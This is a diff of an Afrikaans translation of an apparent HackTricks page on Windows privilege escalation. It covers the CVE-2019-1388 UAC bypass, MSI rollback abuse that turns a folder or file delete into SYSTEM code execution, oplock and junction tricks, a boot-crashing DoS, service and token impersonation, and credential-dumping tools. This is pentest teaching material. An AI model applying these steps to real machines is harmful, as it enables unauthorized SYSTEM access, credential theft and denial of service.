kan daar geskeduleerde take of ander prosesse wees wat uitgevoer word wat **credentials op die command line deurgee**. Die onderstaande skrip vang proses command lines elke twee sekondes op en vergelyk die huidige toestand met die vorige toestand, en gee enige verskille uit. ```bash while($true) { @@ -1288,13 +1296,13 @@ Compare-Object -ReferenceObject $process -DifferenceObject $process2 ``` ## Wagwoorde steel uit prosesse -## Van Low Priv User na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Vanaf Low Priv User na NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC is aangeskakel, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" te laat loop vanaf 'n onbevoorregte gebruiker. +As jy toegang het tot die grafiese koppelvlak (via console of RDP) en UAC geaktiveer is, is dit in sommige weergawes van Microsoft Windows moontlik om 'n terminal of enige ander proses soos "NT\AUTHORITY SYSTEM" te laat loop vanaf 'n onbevoorregte gebruiker. -Dit maak dit moontlik om privilegies te eskaleer en UAC terselfdertyd met dieselfde kwesbaarheid te omseil. Daarbenewens hoef niks geïnstalleer te word nie en die binêre wat tydens die proses gebruik word, is geteken en uitgereik deur Microsoft. +Dit maak dit moontlik om privilegies te eskaleer en UAC terselfdertyd met dieselfde kwetsbaarheid te omseil. Daarbenewens is daar geen behoefte om enigiets te installeer nie en die binary wat gedurende die proses gebruik word, is deur Microsoft onderteken en uitgegee. -Sommige van die geraakte stelsels is die volgende: +Sommige van die geaffekteerde stelsels is die volgende: ``` SERVER ====== @@ -1316,7 +1324,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Om hierdie kwesbaarheid uit te buit, is dit nodig om die volgende stappe uit te voer: +Om hierdie vulnerability te exploit, is dit nodig om die volgende stappe uit te voer: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1334,152 +1342,152 @@ Om hierdie kwesbaarheid uit te buit, is dit nodig om die volgende stappe uit te 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -You have all the necessary files and information in the following GitHub repository: +Jy het al die nodige lêers en inligting in die volgende GitHub-repository: https://github.com/jas502n/CVE-2019-1388 -## From Administrator Medium to High Integrity Level / UAC Bypass +## Van Administrator Medium na High Integriteitsvlak / UAC Bypass -Read this to **learn about Integrity Levels**: +Lees dit om meer te **leer oor Integriteitsvlakke**: {{#ref}} integrity-levels.md {{#endref}} -Then **read this to learn about UAC and UAC bypasses:** +Lees dan **hieroor om te leer oor UAC en UAC bypasses:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP +## Van Willekeurige Gids Verwyder/Skuif/Hernoem na SYSTEM EoP -Die tegniek beskryf [**in hierdie blogpost**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) met exploit code [**beskikbaar hier**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Die tegniek beskryf [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) met 'n exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om wettige lêers tydens die uninstall-proses met kwaadwillige lêers te vervang. Hiervoor moet die aanvaller 'n **malicious MSI installer** skep wat gebruik sal word om die `C:\Config.Msi`-map te kap, wat later deur die Windows Installer gebruik sal word om rollback-lêers te stoor tydens die uninstall van ander MSI-pakkette waar die rollback-lêers gewijzigd sou wees om die kwaadwillige payload te bevat. +Die aanval bestaan basies uit die misbruik van die Windows Installer se rollback-funksie om legitieme lêers tydens die deïnstallasieproses met kwaai lêers te vervang. Hiervoor moet die aanvaller 'n **kwaai MSI-installer** skep wat gebruik sal word om die `C:\Config.Msi` gids te kap, wat later deur die Windows Installer gebruik sal word om rollback-lêers te stoor tydens die deïnstallasie van ander MSI-pakkette waar die rollback-lêers aangepas sou wees om die kwaai payload te bevat. -Die opgekorte tegniek is soos volg: +Die samevattende tegniek is soos volg: -1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** +1. **Fase 1 – Voorbereiding vir die Kaping (laat `C:\Config.Msi` leeg)** -- Step 1: Install the MSI -- Skep 'n `.msi` wat 'n onskuldige lêer installeer (bv. `dummy.txt`) in 'n skryfbare gids (`TARGETDIR`). -- Merk die installer as **"UAC Compliant"**, sodat 'n **non-admin user** dit kan uitvoer. +- Stap 1: Installeer die MSI +- Skep 'n `.msi` wat 'n onskadelike lêer (bv. `dummy.txt`) in 'n skryfbare gids (`TARGETDIR`) installeer. +- Merk die installer as **"UAC Compliant"**, sodat 'n **nie-admin gebruiker** dit kan uitvoer. - Hou 'n **handle** oop na die lêer ná installasie. -- Step 2: Begin Uninstall -- Uninstall dieselfde `.msi`. -- Die uninstall-proses begin lêers na `C:\Config.Msi` skuif en hernoem dit na `.rbf`-lêers (rollback-backups). -- **Poll the open file handle** gebruik `GetFinalPathNameByHandle` om te detect wanneer die lêer `C:\Config.Msi\.rbf` word. +- Stap 2: Begin Deïnstallasie +- Deïnstalleer dieselfde `.msi`. +- Die deïnstallasieproses begin lêers na `C:\Config.Msi` skuif en hernoem na `.rbf` lêers (rollback-rugsteunkopieë). +- **Poll die oop file handle** met `GetFinalPathNameByHandle` om te ontdek wanneer die lêer `C:\Config.Msi\.rbf` word. -- Step 3: Custom Syncing -- Die `.msi` sluit 'n **custom uninstall action (`SyncOnRbfWritten`)** in wat: -- Seine gee wanneer `.rbf` geskryf is. -- Dan **wag** op 'n ander event voordat die uninstall voortgaan. +- Stap 3: Aangepaste Sinchronisering +- Die `.msi` sluit 'n **aangepaste uninstall action (`SyncOnRbfWritten`)** in wat: +- Sein wanneer die `.rbf` geskryf is. +- Dan **wag** op 'n ander gebeurtenis voordat dit voortgaan met die deïnstallasie. -- Step 4: Block Deletion of `.rbf` -- Wanneer gesignaleer, **open die `.rbf` lêer** sonder `FILE_SHARE_DELETE` — dit **verhoed dat dit uitgevee word**. -- Dan **seine terug** sodat die uninstall kan klaarmaak. -- Windows Installer misluk om die `.rbf` te delete, en omdat dit nie al die inhoud kan verwyder nie, **word `C:\Config.Msi` nie verwyder nie**. +- Stap 4: Blokkeer Verwydering van `.rbf` +- Wanneer gesignaleer, **open die `.rbf` lêer** sonder `FILE_SHARE_DELETE` — dit **voorkom dat dit uitgevee word**. +- Dan **seine terug** sodat die deïnstallasie kan klaarmaak. +- Windows Installer kan die `.rbf` nie uitvee nie, en omdat dit nie al die inhoud kan verwyder nie, **word `C:\Config.Msi` nie verwyder nie**. -- Step 5: Manually Delete `.rbf` -- Jy (aanvaller) verwyder die `.rbf` handmatig. +- Stap 5: Vee `.rbf` Handmatig Uit +- Jy (aanvaller) vee die `.rbf` lêer handmatig uit. - Nou is **`C:\Config.Msi` leeg**, gereed om gekaap te word. -> Op hierdie punt, **trigger the SYSTEM-level arbitrary folder delete vulnerability** om `C:\Config.Msi` te verwyder. +> Op hierdie punt, **trigger die SYSTEM-level arbitrary folder delete vulnerability** om `C:\Config.Msi` te verwyder. -2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** +2. **Fase 2 – Vervanging van Rollback-skripte met Kwaai Skripte** -- Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Herstel die `C:\Config.Msi`-map self. +- Stap 6: Hernoem `C:\Config.Msi` met Swak ACLs +- Hernoem die `C:\Config.Msi` gids self. - Stel **swak DACLs** in (bv. Everyone:F), en **hou 'n handle oop** met `WRITE_DAC`. -- Step 7: Run Another Install +- Stap 7: Voer Nog 'n Installasie uit - Installeer die `.msi` weer, met: -- `TARGETDIR`: skryfbare plek. -- `ERROROUT`: 'n veranderlike wat 'n geforseerde mislukking sal veroorsaak. -- Hierdie install sal gebruik word om weer **rollback** te trigger, wat `.rbs` en `.rbf` sal lees. +- `TARGETDIR`: skryfbare ligging. +- `ERROROUT`: 'n veranderlike wat 'n geforseerde mislukking veroorsaak. +- Hierdie installasie sal gebruik word om weer **rollback** te trigger, wat `.rbs` en `.rbf` sal lees. -- Step 8: Monitor for `.rbs` +- Stap 8: Monitor vir `.rbs` - Gebruik `ReadDirectoryChangesW` om `C:\Config.Msi` te monitor totdat 'n nuwe `.rbs` verskyn. -- Vang sy lêernaam. +- Vang die lêernaam vas. -- Step 9: Sync Before Rollback -- Die `.msi` bevat 'n **custom install action (`SyncBeforeRollback`)** wat: -- 'n event sein wanneer die `.rbs` geskep is. +- Stap 9: Sinchroniseer Voor Rollback +- Die `.msi` bevat 'n **aangepaste install action (`SyncBeforeRollback`)** wat: +- 'n gebeurtenis sein wanneer die `.rbs` geskep is. - Dan **wag** voordat dit voortgaan. -- Step 10: Reapply Weak ACL -- Nadat die `.rbs created` event ontvang is: -- Die Windows Installer **reapplies strong ACLs** op `C:\Config.Msi`. -- Maar aangesien jy nog steeds 'n handle met `WRITE_DAC` het, kan jy weer **swak ACLs** toepas. +- Stap 10: Herstel Swak ACL +- Nadat jy die “`.rbs created`” sein ontvang het: +- Die Windows Installer **herstel sterk ACLs** op `C:\Config.Msi`. +- Maar omdat jy steeds 'n handle met `WRITE_DAC` het, kan jy weer **swak ACLs toepas**. -> ACLs are **only enforced on handle open**, so you can still write to the folder. +> ACLs word **slegs op handle-open afgedwing**, so jy kan steeds na die gids skryf. -- Step 11: Drop Fake `.rbs` and `.rbf` -- Oorskryf die `.rbs` lêer met 'n **fake rollback script** wat Windows vertel om: -- Jou `.rbf` lêer (malicious DLL) te herstel in 'n **privileged location** (bv. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Jou fake `.rbf` te drop wat 'n **malicious SYSTEM-level payload DLL** bevat. +- Stap 11: Plaas Vals `.rbs` en `.rbf` +- Oorskryf die `.rbs` lêer met 'n **valse rollback-skrip** wat Windows vertel om: +- Jou `.rbf` lêer (kwaai DLL) in 'n **bevoorregte ligging** te herstel (bv. `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Jou valse `.rbf` neer te sit wat 'n **kwaai SYSTEM-vlak payload DLL** bevat. -- Step 12: Trigger the Rollback -- Seine die sync event sodat die installer hervat. -- 'n **type 19 custom action (`ErrorOut`)** is gekonfigureer om die install op 'n bekende punt doelbewus te laat misluk. +- Stap 12: Trigger die Rollback +- Seine die sinchroniseergebeurtenis sodat die installer voortgaan. +- 'n **type 19 custom action (`ErrorOut`)** is gekonfigureer om die install doelbewus op 'n bekende punt te laat misluk. - Dit veroorsaak dat **rollback begin**. -- Step 13: SYSTEM Installs Your DLL +- Stap 13: SYSTEM Installeer Jou DLL - Windows Installer: -- Lees jou kwaadwillige `.rbs`. -- Kopieer jou `.rbf` DLL na die teiken-ligging. -- Jy het nou jou **malicious DLL in 'n SYSTEM-loaded path**. +- Lees jou kwaai `.rbs`. +- Kopieer jou `.rbf` DLL in die teikengebied. +- Jy het nou jou **kwaai DLL in 'n SYSTEM-gelaaide pad**. -- Final Step: Execute SYSTEM Code -- Voer 'n vertroude **auto-elevated binary** uit (bv. `osk.exe`) wat die DLL wat jy gekaap het laai. +- Finale Stap: Voer SYSTEM-kode uit +- Voer 'n vertroude **auto-elevated binary** uit (bv. `osk.exe`) wat die DLL laai wat jy gekaap het. - **Boom**: Jou kode word uitgevoer **as SYSTEM**. -### From Arbitrary File Delete/Move/Rename to SYSTEM EoP +### Van Arbitrêre Lêer Verwyder/Skuif/Hernoem na SYSTEM EoP -Die hoof MSI rollback-tegniek (hierbo) veronderstel jy kan 'n **hele gids** verwyder (bv. `C:\Config.Msi`). Maar wat as jou kwetsbaarheid slegs **arbitrary file deletion** toelaat? +Die hoof MSI-rollback tegniek (hierbo) veronderstel dat jy 'n **hele gids** kan uitvee (bv. `C:\Config.Msi`). Maar wat as jou kwesbaarheid slegs **arbitrary file deletion** toelaat? -Jy kan NTFS-internals uitbuit: elke gids het 'n versteekte alternate data stream genaamd: +Jy kan NTFS-internals misbruik: elke gids het 'n verborge alternatiewe data-stroom genaamd: ``` C:\SomeFolder::$INDEX_ALLOCATION ``` -Hierdie stroom stoor die **indeks-metadata** van die gids. +Hierdie stroom stoor die **indeksmetadata** van die gids. -Dit beteken dat as jy **die `::$INDEX_ALLOCATION`-stroom van 'n gids verwyder**, verwyder NTFS **die hele gids** uit die lêerstelsel. +Dus, as jy **die `::$INDEX_ALLOCATION` stroom verwyder** van 'n gids, verwyder NTFS **die hele gids** uit die lêerstelsel. -Jy kan dit doen met behulp van standaard lêerverwyderings-APIs soos: +Jy kan dit doen met standaard lêerverwyderings-APIs soos: ```c DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION"); ``` -> Alhoewel jy 'n *file* delete API aanroep, **verwyder dit die gids self**. +> Alhoewel jy 'n *file* delete API aanroep, verwyder dit **die folder self**. ### Van Folder Contents Delete na SYSTEM EoP -Wat as jou primitive jou nie toelaat om arbitrêre lêers/folders te verwyder nie, maar dit **laat toe om die *contents* van 'n aanvaller-beheerde folder te verwyder**? +Wat as jou primitive jou nie toelaat om arbitrêre files/folders te verwyder nie, maar dit **laat wel die verwydering toe van die *contents* van 'n aanvaller-beheerde folder**? -1. Stap 1: Stel 'n lokaas-folder en lêer op -- Skep: `C:\temp\folder1` -- Daarbinne: `C:\temp\folder1\file1.txt` +1. Stap 1: Stel 'n lok-folder en file op +- Create: `C:\temp\folder1` +- Daarin: `C:\temp\folder1\file1.txt` 2. Stap 2: Plaas 'n **oplock** op `file1.txt` -- Die oplock **pauzeer uitvoering** wanneer 'n geprivilegieerde proses probeer om `file1.txt` te verwyder. +- Die oplock **onderbreek die uitvoering** wanneer 'n bevoorregte proses probeer om `file1.txt` te verwyder. ```c // pseudo-code RequestOplock("C:\\temp\\folder1\\file1.txt"); WaitForDeleteToTriggerOplock(); ``` 3. Stap 3: Aktiveer SYSTEM-proses (bv., `SilentCleanup`) -- Hierdie proses deursoek vouers (bv., `%TEMP%`) en probeer hul inhoud uitvee. -- Wanneer dit by `file1.txt` kom, word die **oplock triggers** geaktiveer en gee beheer aan jou callback. +- Hierdie proses deursoek gidse (bv., `%TEMP%`) en probeer hul inhoud verwyder. +- Wanneer dit by `file1.txt` kom, **oplock aktiveer** en gee beheer aan jou callback. 4. Stap 4: Binne die oplock callback – herlei die verwydering -- Opsie A: Skuif `file1.txt` na 'n ander plek +- Opsie A: Verplaas `file1.txt` na 'n ander plek - Dit maak `folder1` leeg sonder om die oplock te breek. -- Moet nie `file1.txt` direk uitvee nie — dit sou die oplock te vroeg vrystel. +- Moet nie `file1.txt` direk verwyder nie — dit sou die oplock te vroeg vrylaat. - Opsie B: Skakel `folder1` om in 'n **junction**: ```bash @@ -1491,47 +1499,47 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control # Make file1.txt point to a sensitive folder stream CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION") ``` -> Dit mik op die NTFS interne stroom wat vouermetadata stoor — deur dit te verwyder, word die vouer verwyder. +> Dit teiken die NTFS internal stream wat vouermetadata stoor — deur dit te verwyder word die vouer verwyder. -5. Stap 5: Vrylaat die oplock +5. Stap 5: Laat die oplock vry - SYSTEM-proses gaan voort en probeer `file1.txt` verwyder. -- Maar nou, as gevolg van die junction + symlink, verwyder dit eintlik: +- Maar nou, as gevolg van die junction + symlink, word dit eintlik verwyder: ``` C:\Config.Msi::$INDEX_ALLOCATION ``` -**Result**: `C:\Config.Msi` word deur SYSTEM verwyder. +**Resultaat**: `C:\Config.Msi` word deur SYSTEM verwyder. -### Van Arbitrary Folder Create na permanente DoS +### Van Arbitrary Folder Create na Permanente DoS -Benut 'n primitive wat jou toelaat om **create an arbitrary folder as SYSTEM/admin** — selfs al **you can’t write files** of **set weak permissions**. +Benut 'n primitive wat jou toelaat om **create an arbitrary folder as SYSTEM/admin** — selfs al **kan jy nie lêers skryf** of **swak toestemmings stel nie**. -Skep 'n **folder** (nie 'n lêer nie) met die naam van 'n **critical Windows driver**, bv.: +Skep 'n **gids** (nie 'n lêer nie) met die naam van 'n **kritieke Windows driver**, bv.: ``` C:\Windows\System32\cng.sys ``` -- Hierdie pad kom gewoonlik ooreen met die kernel-mode driver `cng.sys`. -- As jy dit **vóóraf as 'n gids skep**, misluk Windows om die werklike driver tydens opstart te laai. -- Dan probeer Windows `cng.sys` tydens opstart laai. -- Dit sien die gids, **kan nie die werklike driver oplos nie**, en **crash of staak die opstart**. -- Daar is **geen fallback** nie, en **geen herstel** sonder eksterne ingryping nie (bv. opstartherstel of toegang tot die skyf). +- Hierdie pad kom normaalweg ooreen met die kernel-mode driver `cng.sys`. +- As jy dit **vooraf as 'n vouer skep**, kan Windows nie die werklike driver tydens opstart laai nie. +- Dan probeer Windows om `cng.sys` tydens opstart te laai. +- Dit sien die vouer, **slaag nie daarin om die werklike driver op te los nie**, en **stort of bring die opstart tot stilstand**. +- Daar is **geen terugvalopsie** nie, en **geen herstel** sonder eksterne ingryping nie (bv. opstartherstel of skyftetoegang). -## **Van High Integrity na System** +## **Van Hoë Integriteit na SYSTEM** ### **Nuwe diens** -As jy reeds op 'n High Integrity-proses loop, kan die **pad na SYSTEM** eenvoudig wees deur net **'n nuwe diens te skep en uit te voer**: +As jy reeds op 'n Hoë Integriteit-proses loop, kan die **pad na SYSTEM** maklik wees deur net **'n nuwe diens te skep en uit te voer**: ``` sc create newservicename binPath= "C:\windows\system32\notepad.exe" sc start newservicename ``` > [!TIP] -> Wanneer jy 'n service-binaire skep, maak seker dit is 'n geldige service of dat die binaire die nodige aksies uitvoer, aangesien dit binne 20s gedood sal word as dit nie 'n geldige service is nie. +> Wanneer jy 'n service binary skep, maak seker dit is 'n geldige diens of dat die binary die nodige aksies vinnig uitvoer, anders word dit binne 20s gedood as dit nie 'n geldige diens is nie. ### AlwaysInstallElevated -Vanaf 'n High Integrity-proses kan jy probeer om die AlwaysInstallElevated registerinsette te aktiveer en 'n reverse shell te installeer met 'n _**.msi**_-omhulsel.\ -[Meer inligting oor die betrokke registersleutels en hoe om 'n _.msi_ pakket te installeer hier.](#alwaysinstallelevated) +Vanaf 'n High Integrity-proses kan jy probeer om die AlwaysInstallElevated registry entries te aktiveer en 'n reverse shell te installeer met 'n _**.msi**_ wrapper.\ +[Meer inligting oor die registry keys wat betrokke is en hoe om 'n _.msi_ pakket te installeer vind jy hier.](#alwaysinstallelevated) ### High + SeImpersonate privilege to System @@ -1539,26 +1547,26 @@ Vanaf 'n High Integrity-proses kan jy probeer om die AlwaysInstallElevated regis ### From SeDebug + SeImpersonate to Full Token privileges -As jy daardie token privileges het (waarskynlik sal jy dit in 'n reeds High Integrity-proses vind), sal jy byna enige proses kan **oopmaak** (nie-protected processes) met die SeDebug privilege, die proses se **token kopieer**, en 'n **arbitrêre proses met daardie token skep**.\ -Hierdie tegniek word gewoonlik gebruik deur om 'n proses wat as SYSTEM loop te kies wat al die token privileges het (_ja, jy kan SYSTEM-prosesse vind sonder al die token privileges_).\ +As jy daardie token privileges het (waarskynlik sal jy dit in 'n reeds High Integrity-proses vind), sal jy byna enige proses kan oopmaak (nie-protected processes) met die SeDebug privilege, die token van die proses kan kopieer, en 'n ewekansige proses met daardie token kan skep.\ +Hierdie tegniek kies gewoonlik 'n proses wat as SYSTEM loop met al die token privileges (_ja, jy kan SYSTEM-prosesse vind sonder al die token privileges_).\ **Jy kan 'n** [**voorbeeld van kode wat die voorgestelde tegniek uitvoer hier vind**](sedebug-+-seimpersonate-copy-token.md)**.** ### **Named Pipes** -Hierdie tegniek word deur meterpreter gebruik om in `getsystem` te eskaleer. Die tegniek bestaan uit die **skep van 'n pipe en dan die skep/misbruik van 'n service om op daardie pipe te skryf**. Daarna sal die **server** wat die pipe geskep het en die **`SeImpersonate`** privilege het, die token van die pipe-klient (die service) kan **impersonate** en SYSTEM-privileges verkry.\ -As jy meer wil [**leer oor name pipes moet jy dit lees**](#named-pipe-client-impersonation).\ -As jy 'n voorbeeld wil lees van [**hoe om van high integrity na System te gaan met name pipes moet jy dit lees**](from-high-integrity-to-system-with-name-pipes.md). +Hierdie tegniek word deur meterpreter gebruik om te escaleren in `getsystem`. Die tegniek bestaan uit die skepping van 'n pipe en dan om 'n diens te skep/misbruik om op daardie pipe te skryf. Vervolgens sal die **server** wat die pipe geskep het met die **`SeImpersonate`** privilege die token van die pipe-klant (die diens) kan impersonate en SYSTEM-privileges verkry.\ +As jy meer wil [**leer oor name pipes moet jy dit hier lees**](#named-pipe-client-impersonation).\ +As jy 'n voorbeeld wil lees van [**hoe om van high integrity na System te gaan met name pipes lees dit hier**](from-high-integrity-to-system-with-name-pipes.md). ### Dll Hijacking -As jy daarin slaag om 'n dll wat deur 'n proses wat as SYSTEM loop gelaai word te **hijack**, sal jy arbitêre kode met daardie permissies kan uitvoer. Daarom is Dll Hijacking ook nuttig vir hierdie soort privilege escalation, en verder is dit baie **makliker om van 'n high integrity-proses te bereik** aangesien dit skryfregte op die vouers wat vir dll-loading gebruik word sal hê.\ -**Jy kan** [**meer oor Dll hijacking hier leer**](dll-hijacking/index.html)**.** +As jy daarin slaag om 'n dll wat deur 'n **proses** wat as **SYSTEM** loop gelaai word te **hijack**, sal jy ewekansige kode met daardie regte kan uitvoer. Daarom is Dll Hijacking ook nuttig vir hierdie soort privilege escalation, en dit is verder veel **makkelijker om van 'n High Integrity-proses te bereik** aangesien dit **write permissions** op die vouers het wat gebruik word om dlls te laai.\ +**Jy kan** [**meer leer oor Dll hijacking hier**](dll-hijacking/index.html)**.** -### **From Administrator or Network Service to System** +### From Administrator or Network Service to System -- [https://github.com/sailay1996/RpcSsImpersonator](https://github.com/sailay1996/RpcSsImpersonator) -- [https://decoder.cloud/2020/05/04/from-network-service-to-system/](https://decoder.cloud/2020/05/04/from-network-service-to-system/) -- [https://github.com/decoder-it/NetworkServiceExploit](https://github.com/decoder-it/NetworkServiceExploit) +- https://github.com/sailay1996/RpcSsImpersonator +- https://decoder.cloud/2020/05/04/from-network-service-to-system/ +- https://github.com/decoder-it/NetworkServiceExploit ### From LOCAL SERVICE or NETWORK SERVICE to full privs @@ -1568,47 +1576,47 @@ As jy daarin slaag om 'n dll wat deur 'n proses wat as SYSTEM loop gelaai word t [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) -## Nuttige gereedskap +## Nuttige tools -**Beste tool om na Windows local privilege escalation vectors te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +**Beste gereedskap om Windows local privilege escalation vectors te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) **PS** [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\ -[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir misconfigurasies en sensitiewe lêers (**[**kyk hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gedetecteer.**\ -[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir moontlike misconfigurasies en versamel inligting (**[**kyk hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ +[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Kontroleer vir misconfigurasies en sensitiewe lêers (**[**kyk hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Gedetekteer.**\ +[**JAWS**](https://github.com/411Hall/JAWS) **-- Kontroleer vir sekere moontlike misconfigurasies en versamel inligting (**[**kyk hier**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Kontroleer vir misconfigurasies**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Ekstraheer PuTTY, WinSCP, SuperPuTTY, FileZilla, en RDP gestoor sessie-inligting. Gebruik -Thorough lokaal.**\ -[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Ekstraheer credentials vanaf Credential Manager. Gedetecteer.**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Trek PuTTY, WinSCP, SuperPuTTY, FileZilla en RDP gestoor sessie-inligting uit. Gebruik -Thorough plaaslik.**\ +[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Trek credentials uit Credential Manager. Gedetekteer.**\ [**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray versamelde wagwoorde oor die domein**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle tool.**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh is 'n PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer en man-in-the-middle hulpmiddel.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Basiese privesc Windows enumerasie**\ -[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Soek na bekende privesc kwetsbaarhede (VEROUDERD vir Watson)\ -[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale kontrole **(Benodig Admin regte)** +[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Soek na bekende privesc kwesbaarhede (DEPRECATED vir Watson)\ +[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokale kontroles **(Vereis Admin regte)** **Exe** -[**Watson**](https://github.com/rasta-mouse/Watson) -- Soek na bekende privesc kwetsbaarhede (moet saamgestel word met VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ -[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerateer die gasheer en soek na misconfigurasies (meer 'n inligtingsversamelingsinstrument as privesc) (moet saamgestel word) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ -[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Ekstraheer credentials vanaf baie sagteware (precompiled exe in github)**\ +[**Watson**](https://github.com/rasta-mouse/Watson) -- Soek na bekende privesc kwesbaarhede (moet gekompileer word met VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\ +[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumereer die gasheer en soek na misconfigurasies (meer 'n inligtingsversamelingsinstrument as privesc) (moet gekompileer word) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\ +[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Trek credentials uit baie sagteware (precompiled exe op github)**\ [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Poort van PowerUp na C#**\ -[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir miskonfigurasies (uitvoerbare precompiled in github). Nie aanbeveel nie. Dit werk nie goed in Win10 nie.\ -[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike misconfigurasies (exe vanaf python). Nie aanbeveel nie. Dit werk nie goed in Win10 nie. +[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Kontroleer vir misconfigurasies (precompiled executable op github). Nie aanbeveel nie. Werk nie goed op Win10 nie.\ +[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Kontroleer vir moontlike misconfigurasies (exe van python). Nie aanbeveel nie. Werk nie goed op Win10 nie. **Bat** -[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Hulpmiddel geskep gebaseer op hierdie pos (dit benodig nie accesschk om korrek te werk nie maar dit kan dit gebruik). +[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Gereedskap geskep gebaseer op hierdie post (dit benodig nie accesschk om behoorlik te werk nie, maar kan dit gebruik). -**Lokaal** +**Local** -[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lees die uitset van **systeminfo** en beveel werkende exploits aan (lokaal python)\ -[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lees die uitset van **systeminfo** en beveel werkende exploits aan (lokaal python) +[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lees die uitset van **systeminfo** en beveel werkende exploits aan (lokale python)\ +[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lees die uitset van **systeminfo** en beveel werkende exploits aan (lokale python) **Meterpreter** _multi/recon/local_exploit_suggestor_ -Jy moet die projek saamstel met die korrekte weergawe van .NET ([**kyk hier**](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer-host te sien kan jy: +Jy moet die projek compileer met die korrekte weergawe van .NET ([sien dit](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Om die geïnstalleerde weergawe van .NET op die slagoffer-host te sien, kan jy: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` 